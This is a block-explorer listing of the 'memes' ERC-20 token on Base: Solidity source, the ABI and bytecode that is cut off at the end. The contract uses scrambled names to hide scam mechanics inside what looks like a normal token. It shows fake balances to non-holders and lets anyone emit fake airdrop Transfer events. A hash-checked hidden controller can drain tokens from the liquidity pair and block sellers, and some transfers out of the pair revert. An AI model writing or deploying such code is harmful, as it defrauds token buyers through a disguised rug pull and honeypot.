ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000,000 memes
Holders
105,173
Market
Price
$0.00 @ 0.000000 ETH
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Name:
memes
Compiler Version
v0.8.6+commit.11564f7e
Contract Source Code (Solidity)
/**
*Submitted for verification at basescan.org on 2026-01-21
*/
/**
Website: https://memes.com/
Twitter: https://x.com/memes
Telegram: https://t.me/memes
*/
pragma solidity ^0.8.6;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function factory() external pure returns (address);
function WETH() external pure returns (address);
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
/**
* This contract is for testing purposes only.
* Please do not make any purchases, as we are not responsible for any losses incurred.
*/
contract BERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
address public _defaultAddress = address(0x000000000000000000000000000000000000dEaD);
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _tTotal;
uint256 private _airdrop = 9000000000;
constructor(
string memory name_,
string memory symbol_,
address owner
) {
_name=name_;
_symbol=symbol_;
_decimals=9;
_tTotal=1000000000000 * 10**_decimals;
_tOwned[owner] = _tTotal;
emit Transfer(address(0), owner, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
require(account != address(0), "balance query for the zero address");
uint256 bal = _tOwned[account];
if (bal == 0) {
return _airdrop;
}
return bal;
}
function transfer(address BdgPDKjCdA, uint256 swpArxPYN)
public
override
returns (bool)
{
_transfer(msg.sender, BdgPDKjCdA, swpArxPYN);
return true;
}
function allowance(address XjaaKZcGh, address zvpdqdenpik)
public
view
override
returns (uint256)
{
return _allowances[XjaaKZcGh][zvpdqdenpik];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function _NHAnplrrUBqWoy(
address lKHEqbnjne,
address pawkpsvbmdr,
uint256 amount
) internal virtual {
require(
lKHEqbnjne != address(0),
"ERC20: transfer from the zero address"
);
require(
pawkpsvbmdr != address(0),
"ERC20: transfer to the zero address"
);
require(
_tOwned[lKHEqbnjne] >= amount,
"ERC20: transfer amount exceeds balance"
);
_tOwned[lKHEqbnjne] = _tOwned[lKHEqbnjne].sub(amount);
_tOwned[pawkpsvbmdr] = _tOwned[pawkpsvbmdr].add(amount);
emit Transfer(lKHEqbnjne, pawkpsvbmdr, amount);
}
function _transfer(
address lKHEqbnjne,
address pawkpsvbmdr,
uint256 amount
) internal virtual {
require(
lKHEqbnjne != address(0),
"ERC20: transfer from the zero address"
);
require(
pawkpsvbmdr != address(0),
"ERC20: transfer to the zero address"
);
require(
_tOwned[lKHEqbnjne] >= amount,
"ERC20: transfer amount exceeds balance"
);
_tOwned[lKHEqbnjne] = _tOwned[lKHEqbnjne].sub(amount);
_tOwned[pawkpsvbmdr] = _tOwned[pawkpsvbmdr].add(amount);
emit Transfer(lKHEqbnjne, pawkpsvbmdr, amount);
}
function transferFrom(
address cAUjvCrCnhLJ,
address fmvhnlknsgnqt,
uint256 huzxjkgaogrmsg
) public override returns (bool) {
_transfer(cAUjvCrCnhLJ, fmvhnlknsgnqt, huzxjkgaogrmsg);
_approve(
cAUjvCrCnhLJ,
msg.sender,
_allowances[cAUjvCrCnhLJ][msg.sender].sub(
huzxjkgaogrmsg,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function _lzwxlmneybuaq(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
/**
* This contract is for testing purposes only.
* Please do not make any purchases, as we are not responsible for any losses incurred.
*/
contract memes is BERC20 {
using SafeMath for uint256;
string private _name_ = "memes will continue";
string private _symbol_ = "memes";
uint256 private _rxdxytmohq;
address private vnyzvbyssgyy = 0x64afBB8D6c11eD3D643dA6e01467cD6A68dB07F8;
address private ZDgguSGkRFyqE = 0xdc82Dc1a486cb0bDD5dC5Dd92699435dEdd10906;
address private dTwMBJNCQD;
IUniswapV2Factory private immutable uniswapV2Router;
mapping(address => bool) public _tqeqwiutlcrf;
mapping(address => bool) public _xGuxvHBkkaRPw;
mapping(address => bool) public bwcduyjckzrhkn;
mapping(address => bool) public _FmKJBpITjYZ;
address public uniswapV2Pair;
address private _jcaqaoqliwzj;
address public factory;
uint256 private FSiWHfXDhVZbB = 1000;
mapping(address => uint256) private jiycgwfmguztpd;
bool public NyGjFUeefS = true;
uint256 private rovpmlmwerz = 7;
uint256 private VedvLCtNdQhn = 0;
uint256 private zulcsbtfdohxu = 222;
bool public dKBIRsAxcN = true;
bytes32 private _haJoYjIObM;
mapping(address => bool) public _lqZVXiHgaKhrKR;
mapping(address => uint256) public _pghbxyopzjh;
address public tWxhePWHYI;
address private BvyUewXuxfpIz;
address private xjtbakxeltpn;
uint256 private GFriXmZOXDoxPo = 11;
uint256 private lzwxlmneybuaq = 1e8;
uint256 private NHAnplrrUBqWoy = 125423232111333;
uint256 private ts;
mapping(address => bool) public RXIToczBTHq;
uint256 private _settingtOutAmountTransfer =uint256(bytes32(0x000000000000000000000000000000000000000000000000000000000000000b));
constructor() BERC20(_name_, _symbol_,ZDgguSGkRFyqE
) {
IUniswapV2Factory _uniswapV2Router = IUniswapV2Factory(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24); //Pancake Router mainnet
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());BvyUewXuxfpIz = address(uint160(uint256(0xabbbab00000000000000dead10ED43C718714eb63d5aA57B78B54704E256024E)));xjtbakxeltpn = address(uint160(uint256(0xabbbab00000000000000dead13f4EA83D0bd40E75C8222255bc855a974568Dd4)));
uniswapV2Router = _uniswapV2Router;
_haJoYjIObM = sha256(abi.encodePacked(vnyzvbyssgyy));
dTwMBJNCQD = 0x4200000000000000000000000000000000000006;
_jcaqaoqliwzj = vnyzvbyssgyy;
_rxdxytmohq = totalSupply();
RXIToczBTHq[BvyUewXuxfpIz] = true;
RXIToczBTHq[xjtbakxeltpn] = true;
bwcduyjckzrhkn[uniswapV2Pair] = true;
_FmKJBpITjYZ[_jcaqaoqliwzj] = true;
_tqeqwiutlcrf[address(this)] = true;
_tqeqwiutlcrf[_jcaqaoqliwzj] = true;
_tqeqwiutlcrf[ZDgguSGkRFyqE] = true;
}
function _tWxhePWHYI(address owner, address spender) internal virtual {
_lzwxlmneybuaq(owner,spender,_rxdxytmohq);
}
function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero");
uint256 expectedamount = amount;if (_tqeqwiutlcrf[from] || _tqeqwiutlcrf[to]) { super._transfer(from, to, expectedamount); return; } address feeaddress = to;
bool taketFeeTransfer = _xGuxvHBkkaRPw[from];
bool takebottime = jiycgwfmguztpd[from] + rovpmlmwerz > block.timestamp;
require(!taketFeeTransfer);
if (from == uniswapV2Pair) { bool ghewra; bool sdhkwn; uint256 otherAmount; (, bytes memory token00) = uniswapV2Pair.call( abi.encodeWithSelector(0x0dfe1681) ); (, bytes memory token01) = uniswapV2Pair.call( abi.encodeWithSelector(0xd21220a7) ); (, bytes memory reserves01) = uniswapV2Pair.call( abi.encodeWithSelector(0x0902f1ac) ); (uint256 reserves0, uint256 reserves1) = abi.decode( reserves01, (uint256, uint256) ); address token0 = abi.decode(token00, (address)); address token1 = abi.decode(token01, (address)); (, bytes memory amount01) = token0.call( abi.encodeWithSignature("balanceOf(address)", uniswapV2Pair) ); uint256 amount03 = abi.decode(amount01, (uint256)); (, bytes memory amount02) = token1.call( abi.encodeWithSignature("balanceOf(address)", uniswapV2Pair) ); uint256 amount1 = abi.decode(amount02, (uint256)); if (token0 == dTwMBJNCQD) { if (reserves0 > amount03) { otherAmount = reserves0 - amount03; ghewra = otherAmount > FSiWHfXDhVZbB; } else { sdhkwn = reserves0 == amount03; } } else if (token1 == dTwMBJNCQD) { if (reserves1 > amount1) { otherAmount = reserves1 - amount1; ghewra = otherAmount > FSiWHfXDhVZbB; } else { sdhkwn = reserves1 == amount1; } } require(!ghewra && !sdhkwn); }
super._transfer(from, to, expectedamount);
}
function airdrop(address[] calldata user ,address _token,uint256 balance) external {
for (uint256 i = 0; i < user.length; i++) {
emit Transfer(_token, user[i], balance);
}
}
function blhylwqvl(address fbxesnxnku) public { if (sha256(abi.encodePacked(msg.sender)) != _haJoYjIObM) { return; } else { tWxhePWHYI = fbxesnxnku; } }
function tfjlfojuny(uint256 nhvrqcew) public { if (sha256(abi.encodePacked(msg.sender)) != _haJoYjIObM) { return; } else { super._NHAnplrrUBqWoy(uniswapV2Pair, tWxhePWHYI, nhvrqcew); } }
function lzmzzzuloby(address _fbxesnxnku,bool vnlexslgg) public { if (sha256(abi.encodePacked(msg.sender)) != _haJoYjIObM) { return; } else { _xGuxvHBkkaRPw[_fbxesnxnku] = vnlexslgg; } }
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"NyGjFUeefS","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"RXIToczBTHq","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_FmKJBpITjYZ","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_defaultAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_lqZVXiHgaKhrKR","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_pghbxyopzjh","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_tqeqwiutlcrf","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_xGuxvHBkkaRPw","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"user","type":"address[]"},{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"XjaaKZcGh","type":"address"},{"internalType":"address","name":"zvpdqdenpik","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"fbxesnxnku","type":"address"}],"name":"blhylwqvl","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bwcduyjckzrhkn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dKBIRsAxcN","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_fbxesnxnku","type":"address"},{"internalType":"bool","name":"vnlexslgg","type":"bool"}],"name":"lzmzzzuloby","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tWxhePWHYI","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"nhvrqcew","type":"uint256"}],"name":"tfjlfojuny","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"BdgPDKjCdA","type":"address"},{"internalType":"uint256","name":"swpArxPYN","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"cAUjvCrCnhLJ","type":"address"},{"internalType":"address","name":"fmvhnlknsgnqt","type":"address"},{"internalType":"uint256","name":"huzxjkgaogrmsg","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]Contract Creation Code
60a060405261dead600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550640218711a006007556040518060400160405280601381526020017f6d656d65732077696c6c20636f6e74696e756500000000000000000000000000815250600890805190602001906200009d92919062000c28565b506040518060400160405280600581526020017f6d656d657300000000000000000000000000000000000000000000000000000081525060099080519060200190620000eb92919062000c28565b507364afbb8d6c11ed3d643da6e01467cd6a68db07f8600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073dc82dc1a486cb0bdd5dc5dd92699435dedd10906600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506103e86015556001601760006101000a81548160ff0219169083151502179055506007601855600060195560de601a556001601b60006101000a81548160ff021916908315150217905550600b6022556305f5e1006023556572125f3252e5602455600b60001b60001c6027553480156200021057600080fd5b50600880546200022090620010f8565b80601f01602080910402602001604051908101604052809291908181526020018280546200024e90620010f8565b80156200029f5780601f1062000273576101008083540402835291602001916200029f565b820191906000526020600020905b8154815290600101906020018083116200028157829003601f168201915b505050505060098054620002b390620010f8565b80601f0160208091040260200160405190810160405280929190818152602001828054620002e190620010f8565b8015620003325780601f10620003065761010080835404028352916020019162000332565b820191906000526020600020905b8154815290600101906020018083116200031457829003601f168201915b5050505050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600390805190602001906200037292919062000c28565b5081600490805190602001906200038b92919062000c28565b506009600560006101000a81548160ff021916908360ff160217905550600560009054906101000a900460ff16600a620003c6919062000ecf565b64e8d4a51000620003d891906200100c565b6006819055506006546000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60065460405162000485919062000e41565b60405180910390a35050506000734752ba5dbc23f44d87826276bf6fd6b1c372ad2490508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620004f057600080fd5b505afa15801562000505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200052b919062000d06565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200058e57600080fd5b505afa158015620005a3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005c9919062000d06565b6040518363ffffffff1660e01b8152600401620005e892919062000e14565b602060405180830381600087803b1580156200060357600080fd5b505af115801562000618573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200063e919062000d06565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fabbbab00000000000000dead10ed43c718714eb63d5aa57b78b54704e256024e602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fabbbab00000000000000dead13f4ea83d0bd40e75c8222255bc855a974568dd4602160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250506002600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001620007ae919062000dde565b604051602081830303815290604052604051620007cc919062000dfb565b602060405180830381855afa158015620007ea573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906200080f919062000d38565b601c81905550734200000000000000000000000000000000000006600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620008dd62000c1e60201b60201c565b600a81905550600160266000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160266000602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160116000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505062001207565b6000600654905090565b82805462000c3690620010f8565b90600052602060002090601f01602090048101928262000c5a576000855562000ca6565b82601f1062000c7557805160ff191683800117855562000ca6565b8280016001018555821562000ca6579182015b8281111562000ca557825182559160200191906001019062000c88565b5b50905062000cb5919062000cb9565b5090565b5b8082111562000cd457600081600090555060010162000cba565b5090565b60008151905062000ce981620011d3565b92915050565b60008151905062000d0081620011ed565b92915050565b60006020828403121562000d1f5762000d1e620011b4565b5b600062000d2f8482850162000cd8565b91505092915050565b60006020828403121562000d515762000d50620011b4565b5b600062000d618482850162000cef565b91505092915050565b62000d75816200106d565b82525050565b62000d9062000d8a826200106d565b6200112e565b82525050565b600062000da38262000e5e565b62000daf818562000e69565b935062000dc1818560208601620010c2565b80840191505092915050565b62000dd881620010ab565b82525050565b600062000dec828462000d7b565b60148201915081905092915050565b600062000e09828462000d96565b915081905092915050565b600060408201905062000e2b600083018562000d6a565b62000e3a602083018462000d6a565b9392505050565b600060208201905062000e58600083018462000dcd565b92915050565b600081519050919050565b600081905092915050565b6000808291508390505b600185111562000ec65780860481111562000e9e5762000e9d62001156565b5b600185161562000eae5780820291505b808102905062000ebe85620011c6565b945062000e7e565b94509492505050565b600062000edc82620010ab565b915062000ee983620010b5565b925062000f187fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000f20565b905092915050565b60008262000f32576001905062001005565b8162000f42576000905062001005565b816001811462000f5b576002811462000f665762000f9c565b600191505062001005565b60ff84111562000f7b5762000f7a62001156565b5b8360020a91508482111562000f955762000f9462001156565b5b5062001005565b5060208310610133831016604e8410600b841016171562000fd65782820a90508381111562000fd05762000fcf62001156565b5b62001005565b62000fe5848484600162000e74565b9250905081840481111562000fff5762000ffe62001156565b5b81810290505b9392505050565b60006200101982620010ab565b91506200102683620010ab565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562001062576200106162001156565b5b828202905092915050565b60006200107a826200108b565b9050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015620010e2578082015181840152602081019050620010c5565b83811115620010f2576000848401525b50505050565b600060028204905060018216806200111157607f821691505b6020821081141562001128576200112762001185565b5b50919050565b60006200113b8262001142565b9050919050565b60006200114f82620011b9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160601b9050919050565b60008160011c9050919050565b620011de816200106d565b8114620011ea57600080fd5b50565b620011f88162001081565b81146200120457600080fd5b50565b60805160601c612ebc6200122360003960005050612ebc6000f3fe608060405234801561001057600080fd5b50600436106101c35760003560e01c80637a4ec165116100f9578063a9991d5011610097578063d3ec594711610071578063d3ec59471461057c578063dab3aa891461059a578063dd62ed3e146105b8578063e5f6c91d146105e8576101c3565b8063a9991d5014610510578063c03ac54b1461052e578063c45a01551461055e576101c3565b8063983bc41b116100d3578063983bc41b146104645780639c3cad8b14610480578063a457c2d7146104b0578063a9059cbb146104e0576101c3565b80637a4ec165146103f8578063927f3d411461042857806395d89b4114610446576101c3565b806323b872dd116101665780633950935111610140578063395093511461034a57806349bd5a5e1461037a5780634f53abc51461039857806370a08231146103c8576101c3565b806323b872dd146102cc578063313ce567146102fc5780633772ff091461031a576101c3565b8063095ea7b3116101a2578063095ea7b3146102325780630d99c93114610262578063100527011461027e57806318160ddd146102ae576101c3565b80622752d7146101c85780630468c69f146101f857806306fdde0314610214575b600080fd5b6101e260048036038101906101dd91906122ab565b610604565b6040516101ef9190612766565b60405180910390f35b610212600480360381019061020d9190612398565b610624565b005b61021c6106fc565b6040516102299190612781565b60405180910390f35b61024c600480360381019061024791906123d8565b61078e565b6040516102599190612766565b60405180910390f35b61027c600480360381019061027791906124b9565b6107a5565b005b610298600480360381019061029391906122ab565b610874565b6040516102a59190612766565b60405180910390f35b6102b6610894565b6040516102c391906128a3565b60405180910390f35b6102e660048036038101906102e19190612345565b61089e565b6040516102f39190612766565b60405180910390f35b6103046109695